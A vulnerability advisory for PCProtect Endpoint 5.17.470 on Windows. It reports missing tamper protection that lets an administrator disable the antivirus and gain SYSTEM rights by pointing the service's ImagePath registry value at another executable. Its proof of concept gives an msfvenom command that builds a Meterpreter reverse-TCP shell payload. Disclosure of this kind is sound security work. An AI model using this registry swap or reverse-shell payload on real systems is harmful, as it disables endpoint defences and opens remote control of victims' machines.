PCProtect Endpoint 5.17.470 Tampering / Privilege Escalation

[+] Credits: Yehia Elghaly (aka Mrvar0x)    
[+] Website: https://mrvar0x.com/
[+] Source:  https://mrvar0x.com/2022/07/21/pcprotect-endpoint-tampering-exploit/

Vendor:
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www.pcprotect.com


Product:
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PCProtect Endpoint Protection v5.17.470

PCProtect is a malware detection and antivirus scanner. It uses advanced heuristics and a massive, continuously updated database to detect malware files on Windows, macOS, and Android devices. It also has an iOS app.
PCProtect also includes additional features, including:
Web shield - Virtual private network (VPN) - Data breach monitor - Identity theft protection - System optimizer- Password manager- And much more…


Vulnerability Type:
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Missing Tamper Protection
Incorrect Authorization

CVE Reference:
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N/A


Security Issue:
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PCProtect Antivirus prior to version 5.17.470 installed on Microsoft Windows does not provide sufficient anti-tampering protection of services by users with Administrator privileges. This could result in a user disabling PCProtect Antivirus and the protection offered by it. Also It lead to Raised privilege to SYSTEM.

That can occurred by modifying a specific registry key.
ComputerHKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecurityService
Change ImagePath path to a malicious executable.


Exploit/POC:
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Create malicious executable through msfvenom

msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LOCALIP LPORT=4444 -f exe -o meta.exe

Modify (ImagePath) with the path of the malicious executable - Restart


Network Access:
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Local


Severity:
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High


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Mrvar0x